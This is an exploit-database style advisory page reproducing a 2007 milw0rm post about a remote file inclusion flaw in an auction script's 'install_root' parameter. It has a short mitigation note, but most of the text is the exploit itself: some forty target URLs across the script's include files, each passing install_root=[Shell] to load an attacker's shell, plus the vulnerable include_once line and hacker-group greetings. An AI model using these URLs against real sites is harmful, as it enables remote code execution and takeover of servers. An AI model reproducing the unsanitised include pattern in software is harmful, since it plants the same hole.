AsB-MaY DiScOvEr ExPlIoTs Gr0uP

vendor:

by:

ThE dE@Th (AsB-MaY DiScOvEr ExPlIoTs Gr0uP)

CVSS

HIGH

Code Injection

CWE

Product Name:

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

AsB-MaY DiScOvEr ExPlIoTs Gr0uP

The vulnerability exists in multiple PHP files on the website, which allows an attacker to inject malicious code by manipulating the 'install_root' parameter. This can lead to unauthorized access, data leakage, or remote code execution.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user input before using it in PHP code. Additionally, keeping the software up-to-date with the latest patches and security updates is crucial.

Source

Exploit-DB raw data:

*************************************************************
To ConTacT mE @ www.Asb-May.net/bb
ScRiPt:-http://kaqoo.com/server/download.php
GrEaTz To:-ToOofa-HaCk.eGy-Alk()mad()z-Bright Dark (All AsB-MaY DisCoverY
ExPloIts GrOup)
Discovered By:- ThE dE@Th <<{AsB-MaY DiScOvEr ExPlIoTs Gr0uP}   >>
******************************************************************************
Wrong Code:-
include_once("$install_root
********************************************************************************
ExPlOiT:-http://www.SitE.com/include/core/support.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/core/function.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/core/rdal_object.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/core/rdal_editor.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/core/login.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/core/request.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/core/categories.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/item/save.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/item/preview.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/item/edit_item.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/item/new_item.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/item/item_info.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/search.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/item_edit.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/register_succsess.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/context_menu.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/item_repost.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/balance.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/featured.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/user.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/buynow.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/install_complete.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/fees_info.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/user_feedback.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/admin_balance.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/activate.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/user_info.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/member.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/add_bid.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/items_filter.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/my_info.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/register.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/leave_feedback.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/display/user_auctions.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/design/form.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/processor.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/interfaces.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/left_menu.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/login.inc.php?install_root=[Shell]
ExPlOiT:-http://www.SitE.com/include/categories.inc.php?install_root=[Shell]
********************************************************************************

# milw0rm.com [2007-03-29]